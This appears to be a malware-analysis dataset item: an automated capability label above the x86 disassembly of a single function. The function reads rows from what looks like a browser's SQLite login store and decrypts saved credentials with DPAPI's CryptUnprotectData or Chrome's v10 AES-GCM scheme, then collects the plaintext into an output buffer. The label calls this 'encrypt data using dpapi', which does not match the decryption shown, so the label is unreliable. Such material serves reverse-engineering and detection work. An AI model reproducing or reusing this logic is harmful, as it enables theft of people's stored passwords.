Function at 0x1000b890
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8840
call fcn.100969c0
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x48], 0
mov dword [ebp - 8], 0
xor edx, edx
mov word [ebp - 0x80], dx
mov dword [ebp - 0xc], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000bd71
call fcn.1000a150
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x1000bd6f
mov dword [ebp - 0x90], 0x100a8b38
push 0x100a8b78
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x88]
push eax
push 0x100a8b80
push 0x7fff
lea ecx, [ebp - 0x8090]
push ecx
call fcn.1009687a
add esp, 0x10
lea edx, [ebp - 0x8c]
push edx
lea eax, [ebp - 0x8090]
push eax
call fcn.10092ef0
add esp, 8
test eax, eax
jne 0x1000bd44
push 0
lea ecx, [ebp - 0x8094]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.10051c60
add esp, 0x14
test eax, eax
jne 0x1000bd15
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002e520
add esp, 4
cmp eax, 0x64
jne 0x1000bd04
push 0x100a8b84
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 0
mov edx, dword [ebp - 0x8094]
push edx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x809c], eax
mov eax, dword [ebp - 0x809c]
push eax
push 0x100a8b8c
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 1
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x80a0], eax
mov edx, dword [ebp - 0x80a0]
push edx
push 0x100a8ba8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 2
mov eax, dword [ebp - 0x8094]
push eax
call fcn.1002f960
add esp, 8
mov dword [ebp - 0x8098], eax
mov ecx, dword [ebp - 0x8098]
movsx edx, byte [ecx]
cmp edx, 0x76
je 0x1000bb36
mov dword [ebp - 0x8498], 0x401
mov eax, dword [ebp - 0x8098]
mov dword [ebp - 0x8494], eax
lea ecx, [ebp - 0x84a0]
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x8498]
push edx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x1000bac5
push 0x100a8bc8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
jmp 0x1000bb31
mov eax, dword [ebp - 0x849c]
add eax, dword [ebp - 0x84a0]
mov byte [eax], 0
push 0x3e8
lea ecx, [ebp - 0x8490]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x849c]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x8490]
push eax
push 0x100a8be8
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x849c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000bcff
mov eax, dword [ebp - 0x8098]
movsx ecx, byte [eax]
cmp ecx, 0x76
jne 0x1000bcff
mov dword [ebp - 0x84a8], 0
mov dword [ebp - 0x84a4], 0
lea edx, [ebp - 0x84a4]
push edx
call fcn.1000b2c0
add esp, 4
mov dword [ebp - 0x84a8], eax
cmp dword [ebp - 0x84a8], 0
je 0x1000bcff
push 0x64
push 0
lea eax, [ebp - 0x8840]
push eax
call fcn.10096800
add esp, 0xc
push 0xc
mov ecx, dword [ebp - 0x8098]
add ecx, 3
push ecx
lea edx, [ebp - 0x8840]
push edx
call fcn.10096340
add esp, 0xc
push 0x64
push 0
lea eax, [ebp - 0x87d0]
push eax
call fcn.10096800
add esp, 0xc
push 2
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002f820
add esp, 8
mov dword [ebp - 0x8634], eax
cmp dword [ebp - 0x8634], 0
jne 0x1000bbe4
jmp 0x1000b996
mov edx, dword [ebp - 0x8634]
sub edx, 0xf
mov dword [ebp - 0x8634], edx
mov eax, dword [ebp - 0x8634]
push eax
mov ecx, dword [ebp - 0x8098]
add ecx, 0xf
push ecx
lea edx, [ebp - 0x87d0]
push edx
call fcn.10096340
add esp, 0xc
mov eax, dword [ebp - 0x8634]
mov dword [ebp - 0x87d4], eax
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001000
add esp, 4
mov edx, dword [ebp - 0x84a4]
shl edx, 3
push edx
mov eax, dword [ebp - 0x84a8]
push eax
push 2
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001270
add esp, 0x10
test eax, eax
je 0x1000bc59
jmp 0x1000b996
push 0
push 0
push 0xc
lea edx, [ebp - 0x8840]
push edx
push 0
lea eax, [ebp - 0x8630]
push eax
call fcn.100018b0
add esp, 0x18
test eax, eax
je 0x1000bc80
jmp 0x1000b996
push 0x12c
push 0
lea ecx, [ebp - 0x8768]
push ecx
call fcn.10096800
add esp, 0xc
lea edx, [ebp - 0x8768]
push edx
lea eax, [ebp - 0x87d0]
push eax
mov ecx, dword [ebp - 0x87d4]
push ecx
lea edx, [ebp - 0x8630]
push edx
call fcn.10001ae0
add esp, 0x10
test eax, eax
je 0x1000bcc3
jmp 0x1000b996
mov eax, dword [ebp - 0x87d4]
mov byte [ebp + eax - 0x8778], 0
lea ecx, [ebp - 0x8768]
push ecx
push 0x100a8c08
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000b996
mov eax, dword [ebp - 0x8094]
push eax
call fcn.10029dc0
add esp, 4
jmp 0x1000bd33
push 0x100a8c28
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.10090ff0
add esp, 4
jmp 0x1000bd62
push 0x100a8cd0
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1000bd77
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov dword [ebp - 0x84], edx
lea eax, [ebp - 0x44]
push eax
push 4
lea ecx, [ebp - 0x84]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, 4
jne 0x1000be02
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 4]
push edx
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, dword [ebp - 0x84]
jne 0x1000bdf9
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000bdf0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1000be20
mov dword [ebp - 0x7c], 0xffffffff
jmp 0x1000be09
mov dword [ebp - 0x7c], 0xffffffff
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000be1d
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1009625b
mov esp, ebp
pop ebp
ret